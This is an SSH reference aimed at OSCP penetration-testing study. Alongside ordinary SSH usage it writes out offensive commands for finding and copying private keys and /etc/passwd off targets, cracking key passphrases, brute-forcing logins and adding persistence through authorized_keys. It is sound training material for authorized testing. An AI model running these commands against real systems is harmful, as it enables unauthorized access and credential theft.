SSH — Complete Reference

Ctrl+F: ssh -i · id_rsa · IdentitiesOnly · authorized_keys · chmod 600 · errors → SSH Errors

Troubleshooting: SSH ErrorsToo many authentication failures · id_rsa permissions too open

What is SSH?

Secure Shell (SSH) is an encrypted network protocol for remote login, command execution, file transfer, and tunneling. It runs on port 22/TCP by default and is the primary remote access method for Linux/Unix systems — and increasingly Windows.

OSCP use: SSH is both a target to enumerate/attack and a tool you’ll use constantly for tunneling, pivoting, and transferring files.


Syntax

ssh [options] [user@]host [command]

📌 1) All Common Flags

FlagDescription
-p <port>Connect on a non-standard port
-i <keyfile>Use a specific private key file for auth
-l <user>Login username (alternative to user@host)
-vVerbose (debug) — use -vv or -vvv for more
-qQuiet mode — suppress warnings
-o <option>Pass an SSH config option inline (see table below)
-NDon’t execute a remote command (use with tunnels)
-fBackground the SSH process after auth
-TDisable pseudo-terminal allocation
-tForce pseudo-terminal allocation (even inside scripts)
-AForward SSH agent to remote host
-XEnable X11 forwarding (GUI apps over SSH)
-YEnable trusted X11 forwarding
-CEnable compression
-4Force IPv4
-6Force IPv6
-L <spec>Local port forward
-R <spec>Remote port forward
-D <port>Dynamic application-level port forwarding — local SOCKS proxy on <port> (see below)
-J <jump>Jump host (ProxyJump)
-W <host:port>Forward stdin/stdout to a remote host:port
-E <logfile>Append debug log to a file
-GPrint the SSH config that would be used and exit
-nRedirect stdin from /dev/null (use with -f)
-c <cipher>Select cipher (e.g. aes256-gcm@openssh.com)
-m <mac>Select MAC algorithm
-e <char>Set escape character (default: ~)
-b <addr>Bind to a specific local address

📌 2) Authentication Methods

Method 1 — Password Authentication

ssh user@10.10.10.10
# Enter password when prompted
 
ssh -p 2222 user@10.10.10.10
# Non-standard port

Method 2 — Private Key Authentication (id_rsa)

The most common key-based auth. You hold the private key; the target has your matching public key in ~/.ssh/authorized_keys.

┌──────────────── KALI (attacker) ────────────────┐
│  id_rsa          ← PRIVATE — never share        │
│  id_rsa.pub      ← public half                  │
└─────────────────────────────────────────────────┘
                    ssh -i id_rsa user@target
                            ↓
┌──────────────── TARGET ───────────────────────────┐
│  ~/.ssh/authorized_keys  ← PUBLIC keys allowed  │
│     (one line per key: ssh-rsa AAAA... comment) │
└─────────────────────────────────────────────────┘
# Use a specific private key
ssh -i /home/kali/.ssh/id_rsa user@10.10.10.10
ssh -i id_rsa user@10.10.10.10
 
# Permissions must be strict — SSH refuses loose permissions
chmod 600 id_rsa
chmod 700 ~/.ssh
ssh -i id_rsa user@10.10.10.10

Key file permissions (required)

File / directoryPermissionWhy
id_rsa (private key)600Only owner can read
id_ed25519 (private)600Same
id_rsa.pub (public key)644Others can read
~/.ssh/ directory700Only owner can access
~/.ssh/authorized_keys600Only owner can read/write
~/.ssh/known_hosts644Optional
chmod 600 id_rsa
chmod 644 id_rsa.pub
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Error if permissions wrong: Permissions 0644 for 'id_rsa' are too openchmod 600 id_rsa

→ Full fix: SSH Errors > id_rsa — Permissions are too open

Found a private key on a target?

# On target — hunt keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find /home -name "id_*" 2>/dev/null
ls -la ~/.ssh/
 
# Download to Kali
scp user@TARGET:/home/user/.ssh/id_rsa ./loot/id_rsa
# or paste/cat contents into a local file
 
# On Kali — fix perms, try users from /etc/passwd or known accounts
chmod 600 id_rsa
ssh -i id_rsa root@TARGET
ssh -i id_rsa user@TARGET
ssh -i id_rsa -o StrictHostKeyChecking=no user@TARGET
 
# Passphrase protected? Crack first (Method 5 below)

See Credential Discovery · crack passphrase → John / Hashcat -m 22921

Method 3 — SSH Key Pair Generation

# Generate RSA key pair (most compatible)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
 
# Generate Ed25519 key pair (modern, smaller, faster)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
 
# Generate with a comment
ssh-keygen -t rsa -b 4096 -C "kali@oscp" -f ~/.ssh/id_rsa
 
# Generate without passphrase (non-interactive — useful in scripts)
ssh-keygen -t rsa -b 4096 -N "" -f /tmp/newkey
FlagDescription
-t <type>Key type: rsa, ed25519, ecdsa, dsa
-b <bits>Key size in bits (4096 for RSA, 256 for ed25519)
-f <file>Output file path
-C <comment>Comment embedded in public key
-N <passphrase>Passphrase ("" for none)
-pChange passphrase of an existing key
-P <old>Old passphrase
-yRead private key, output public key

Method 4 — authorized_keys (add your key for access / persistence)

authorized_keys lives at ~/.ssh/authorized_keys on the target. Each line is one public key allowed to log in as that user.

# On Kali — show your public key (safe to share)
cat ~/.ssh/id_rsa.pub
# ssh-rsa AAAA... kali@oscp
 
# On target — add key (need write access to user's home)
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-rsa AAAA...your_pubkey..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
 
# Or one-liner from attacker if you have shell as that user
mkdir -p /home/mario/.ssh && chmod 700 /home/mario/.ssh
echo "ssh-rsa AAAA..." >> /home/mario/.ssh/authorized_keys
chmod 600 /home/mario/.ssh/authorized_keys
 
# Connect passwordlessly from Kali
ssh -i ~/.ssh/id_rsa mario@10.10.10.10

Check who can SSH in (post-exploit):

cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys 2>/dev/null

Persistence: append your pubkey to authorized_keys for the user you control (or root if writable).


Method 5 — Cracking a Passphrase-Protected Key

If you find an id_rsa that requires a passphrase:

# Step 1: Convert to John format
ssh2john id_rsa > id_rsa.hash
 
# Step 2: Crack with John
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
 
# Step 3: Crack with Hashcat (mode 22921 — OpenSSH private key)
hashcat -m 22921 id_rsa.hash /usr/share/wordlists/rockyou.txt
 
# Step 4: Connect with recovered passphrase
ssh -i id_rsa user@10.10.10.10
# Enter the cracked passphrase when prompted

Method 6 — Kerberos / GSSAPI Authentication

Used in AD environments where SSH is Kerberos-integrated:

ssh -o GSSAPIAuthentication=yes user@host.domain.local

📌 3) SSH Config Options (-o)

Pass SSH config values inline without editing ~/.ssh/config:

# Ignore host key verification (useful on CTFs — never in prod)
ssh -o StrictHostKeyChecking=no user@10.10.10.10
 
# Don't save host key to known_hosts
ssh -o UserKnownHostsFile=/dev/null user@10.10.10.10
 
# Both combined (fastest / no prompts)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@10.10.10.10
 
# Force password auth only (skip key attempts)
ssh -o PreferredAuthentications=password user@10.10.10.10
 
# Force key auth only
ssh -o PreferredAuthentications=publickey -i id_rsa user@10.10.10.10

Common -o options

OptionDescription
StrictHostKeyChecking=noSkip host key verification prompt
UserKnownHostsFile=/dev/nullDon’t read/write known_hosts
PreferredAuthentications=<list>Auth order: publickey, password, keyboard-interactive
PasswordAuthentication=yes/noAllow/deny password auth
PubkeyAuthentication=yes/noAllow/deny key auth
ConnectTimeout=<sec>Timeout in seconds
BatchMode=yesFail instead of prompting (scripting)
ProxyJump=<host>Same as -J
IdentityFile=<path>Same as -i
IdentitiesOnly=yesOnly use -i keys — fixes too many authentication failuresSSH Errors
ServerAliveInterval=<sec>Send keepalives every N seconds
ServerAliveCountMax=<N>Drop after N missed keepalives

📌 4) SSH Config File (~/.ssh/config)

Define per-host shortcuts to avoid retyping flags every time:

# ~/.ssh/config

Host target
    HostName 10.10.10.10
    User admin
    Port 2222
    IdentityFile ~/.ssh/id_rsa
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null

Host pivot
    HostName 192.168.1.5
    User root
    ProxyJump target
# Now connect with just:
ssh target
ssh pivot    # Goes through target automatically

📌 5) Tunneling & Port Forwarding

Local Port Forward (-L)

Forward a local port on the attacker to a remote port via the SSH server. Used to reach services behind the target that aren’t directly accessible.

Attacker:LOCAL_PORT → SSH Server → REMOTE_HOST:REMOTE_PORT
# Access an internal web app (port 80) on 192.168.1.5 via the SSH pivot
ssh -L 8080:192.168.1.5:80 user@10.10.10.10 -N
 
# Now browse http://127.0.0.1:8080 on attacker to reach the internal service
 
# Access internal RDP (3389)
ssh -L 3389:172.16.0.10:3389 user@10.10.10.10 -N
xfreerdp3 /u:admin /p:password /v:127.0.0.1
 
# Access internal MySQL (3306)
ssh -L 3306:127.0.0.1:3306 user@10.10.10.10 -N # (run on my kali machine)
# Then: mysql -h 127.0.0.1 -u root -p

Format: -L [bind_address:]local_port:remote_host:remote_port


Remote Port Forward (-R)

Forward a remote port on the SSH server back to a local port on the attacker. Used to expose the attacker’s services to a machine that can’t reach the attacker directly.

SSH Server:REMOTE_PORT → Attacker:LOCAL_PORT
# Expose attacker's port 4444 on the target (useful for reverse shells)
ssh -R 4444:127.0.0.1:4444 user@10.10.10.10 -N
 
# Now set up listener on attacker port 4444
# Any connection to target:4444 routes back to attacker:4444
 
# Expose attacker's HTTP server on target's port 8080
ssh -R 8080:127.0.0.1:80 user@10.10.10.10 -N

Format: -R [bind_address:]remote_port:local_host:local_port


Dynamic SOCKS Proxy (-D)

Note: -D specifies a local dynamic application-level port forwarding — opens a SOCKS proxy on your machine. Traffic sent through that proxy is forwarded through the SSH connection and exits from the remote host (pivot), so one tunnel can reach many internal IPs/ports.

Opens a local SOCKS5 proxy — traffic from tools using the proxy exits from the SSH server, reaching anything the pivot can reach (localhost services + internal subnets).

# Open SOCKS5 proxy on attacker's port 1080
ssh -D 1080 user@10.10.10.10 -N -f
 
# Configure proxychains to use it
# Edit /etc/proxychains4.conf → add: socks5 127.0.0.1 1080
 
# Now route any tool through the pivot
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains gobuster dir -u http://172.16.0.5 -w wordlist.txt
proxychains python3 exploit.py
proxychains evil-winrm -i 172.16.0.10 -u admin -p password

Why -D beats many -L tunnels

Imagine the pivot host can reach:

127.0.0.1:80
127.0.0.1:5432
127.0.0.1:8080
10.10.20.15:445
10.10.20.20:3389

With local forwarding you’d need one tunnel per service:

ssh -L 8080:127.0.0.1:80      user@PIVOT -N
ssh -L 5432:127.0.0.1:5432    user@PIVOT -N
ssh -L 3306:127.0.0.1:3306    user@PIVOT -N
ssh -L 3389:10.10.20.20:3389 user@PIVOT -N
# ... lots of tunnels

With dynamic forwardingone tunnel for everything (via proxychains / proxy-aware tools):

ssh -D 1080 user@PIVOT -N -f
# proxychains reaches ALL of the above (nmap -sT, curl, evil-winrm, etc.)

→ Full SOCKS workflow: SSH Tunneling > 📌 3) Dynamic Port Forwarding — SOCKS Proxy (-D) · Port Forwarding

Browser through SOCKS: FoxyProxy / proxychains firefox — or use -L for a single web port if you only need one site.

Port 1080/4444 already in use?Port in Use - kill listener


Jump Host (-J)

Connect to a target through an intermediate host in one command — no need to SSH in twice:

# SSH through pivot (10.10.10.10) to reach internal host (172.16.0.5)
ssh -J user@10.10.10.10 admin@172.16.0.5
 
# Multiple hops
ssh -J user@10.10.10.10,user@172.16.0.5 admin@10.0.0.1
 
# With keys
ssh -J user@10.10.10.10 -i internal_key.rsa admin@172.16.0.5

Background Tunnels (-f -N)

# Start tunnel in background (returns terminal immediately)
ssh -f -N -L 8080:192.168.1.5:80 user@10.10.10.10
 
# Kill a backgrounded tunnel
ps aux | grep ssh
kill <PID>
 
# Or use -fN combined
ssh -fN -D 1080 user@10.10.10.10

📌 6) File Transfer

SCP — Secure Copy

# Upload: attacker → target
scp /home/kali/shell.elf user@10.10.10.10:/tmp/shell.elf
 
# Download: target → attacker
scp user@10.10.10.10:/etc/passwd /home/kali/loot/passwd
 
# Recursive directory upload
scp -r /home/kali/tools/ user@10.10.10.10:/tmp/tools/
 
# Recursive download
scp -r user@10.10.10.10:/var/www/html/ /home/kali/loot/
 
# Non-standard port
scp -P 2222 file.txt user@10.10.10.10:/tmp/
 
# With specific key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/
 
# Suppress host key check
scp -o StrictHostKeyChecking=no file.txt user@10.10.10.10:/tmp/

SFTP — Interactive File Transfer

sftp user@10.10.10.10
sftp -i id_rsa user@10.10.10.10
sftp -P 2222 user@10.10.10.10
 
# Inside sftp session:
sftp> ls                    # List remote
sftp> lls                   # List local
sftp> pwd                   # Remote directory
sftp> lpwd                  # Local directory
sftp> cd /var/www           # Change remote dir
sftp> lcd /home/kali/loot   # Change local dir
sftp> get remote_file.txt   # Download
sftp> get -r remote_dir/    # Recursive download
sftp> put local_file.txt    # Upload
sftp> put -r local_dir/     # Recursive upload
sftp> mkdir /tmp/newdir     # Create remote dir
sftp> rm remote_file        # Delete remote file
sftp> bye                   # Exit

📌 7) Enumeration & Reconnaisance

# Banner grabbing — check SSH version
nc -nv 10.10.10.10 22
ssh -v user@10.10.10.10   # SSH handshake shows server version
 
# Nmap SSH scripts
nmap -p 22 --script ssh-hostkey,ssh-auth-methods 10.10.10.10
nmap -p 22 --script ssh-brute 10.10.10.10          # Brute force (slow)
nmap -p 22 --script ssh2-enum-algos 10.10.10.10    # Supported algorithms
 
# Check accepted auth methods
ssh -o PreferredAuthentications=none user@10.10.10.10 2>&1 | grep "Authentications"
 
# ssh-audit — full security audit of SSH server
ssh-audit 10.10.10.10
ssh-audit -p 2222 -v 10.10.10.10

→ Full reference: ssh-audit


📌 8) Brute Forcing SSH

# Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f
 
# Single user — password list
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f
 
# Medusa
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M ssh -t 4
 
# Metasploit
# use auxiliary/scanner/ssh/ssh_login

Note: SSH brute-forcing is very slow (intentional rate limiting by the server). Use small, targeted wordlists. Check for default creds first.


📌 9) Common Post-Exploitation Actions

# Check what other hosts this machine knows about
cat ~/.ssh/known_hosts
cat ~/.ssh/config
 
# Look for private keys on the target
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find /home -name "id_*" 2>/dev/null
find /root -name "id_*" 2>/dev/null
ls -la ~/.ssh/
 
# Read authorized_keys — who can log in?
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
 
# Add your key for persistence
echo "ssh-rsa AAAA...your_pubkey..." >> ~/.ssh/authorized_keys
 
# Check SSH daemon config
cat /etc/ssh/sshd_config | grep -v "^#" | grep -v "^$"
# Look for: PermitRootLogin, PasswordAuthentication, AuthorizedKeysFile, AllowUsers

📌 10) Escape Sequences (Live Session)

While connected in a terminal, SSH has escape sequences (prefix: ~):

SequenceAction
~.Disconnect (terminate session)
~COpen command-line (add tunnels without reconnecting)
~&Background the session
~?List all escape sequences
~#List forwarded connections
~~Send literal ~
# Add a new tunnel to an existing live session (no reconnect needed)
# Press: Enter → ~ → C
# Then type: -L 8080:192.168.1.5:80
# Press Enter

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Connect — password
ssh user@TARGET
 
# Connect — private key
chmod 600 id_rsa && ssh -i id_rsa user@TARGET
ssh -i id_rsa -o IdentitiesOnly=yes root@TARGET    # too many auth failures fix
 
# Connect — ignore host key (CTF)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@TARGET
 
# Connect — non-standard port
ssh -p 2222 user@TARGET
 
# Crack key passphrase
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
 
# Local port forward (reach internal service)
ssh -L 8080:INTERNAL_HOST:80 user@TARGET -N -f
 
# Dynamic SOCKS proxy (pivot through target)
ssh -D 1080 user@TARGET -N -f
# → proxychains <any_tool>
 
# Remote port forward (expose attacker to target's network)
ssh -R 4444:127.0.0.1:4444 user@TARGET -N
 
# Jump host (reach host behind pivot)
ssh -J user@PIVOT admin@INTERNAL_HOST
 
# Upload file
scp /home/kali/shell.elf user@TARGET:/tmp/
 
# Download file
scp user@TARGET:/etc/passwd /home/kali/loot/
 
# Add your pubkey for persistence
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
 
# Hunt for keys on a target
find / -name "id_rsa" 2>/dev/null